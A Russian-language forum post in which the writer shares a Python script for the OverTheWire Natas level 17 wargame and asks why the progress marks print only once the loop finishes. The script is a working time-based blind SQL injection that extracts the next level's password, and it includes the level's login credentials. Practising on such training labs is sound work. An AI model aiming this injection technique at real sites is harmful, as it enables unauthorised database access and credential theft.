Всем добрый вечер сейчас прохожу задания по вебу, пишу эксплоит на python3, короче хочу нормальную стилизацию сделать (как мне кажеться - нормально). Не могу понять где ошибка:
import requests
from requests.auth import HTTPBasicAuth
host='
http://natas17.natas.labs.overthewire.org/index.php'
Auth=HTTPBasicAuth('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')
headers={'content-type': 'application/x-www-form-urlencoded'}
filteredchars=''
password=''
allchars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
print('Waiting...')
for char in allchars:
payload='username=natas18%22+and+password+like+binary+%27%25{0}%25%27+and+sleep%281%29+%23'.format(char)
r=
requests.post(host, auth=Auth, data=payload, headers=headers)
if(r.elapsed.seconds >= 1):
filteredchars+=char
filteredchars="dghjlmpqsvwxyCDFIKOPR470"
print('Wordlist: '+filteredchars)
print('Progress: ',end='')
for i in range(32):
for char in filteredchars:
payload='username=natas18%22%20and%20password%20like%20binary%20\'{0}%25\'%20and%20sleep(1)%23'.format(password + char)
r=
requests.post(host, auth=Auth, data=payload, headers=headers)
if r.elapsed.seconds>=1:
password+=char
print('#',end='')
break
print('\n'+'-'*12+'Complete'+'-'*12+'\n')
print('Password: '+password)
Вобщем хочу чтобы выдавал Progress: и уже по мере продвижения печатал символ # вместе c end='' а в конце уже конечный результат.
"Ошибка" заключаеться в том, что он почему-то ждет пока завершиться цикл и выдает 32 символа # + результат. А я хочу чтобы он выдавал результат по мере продвижения цикла, а не в конце.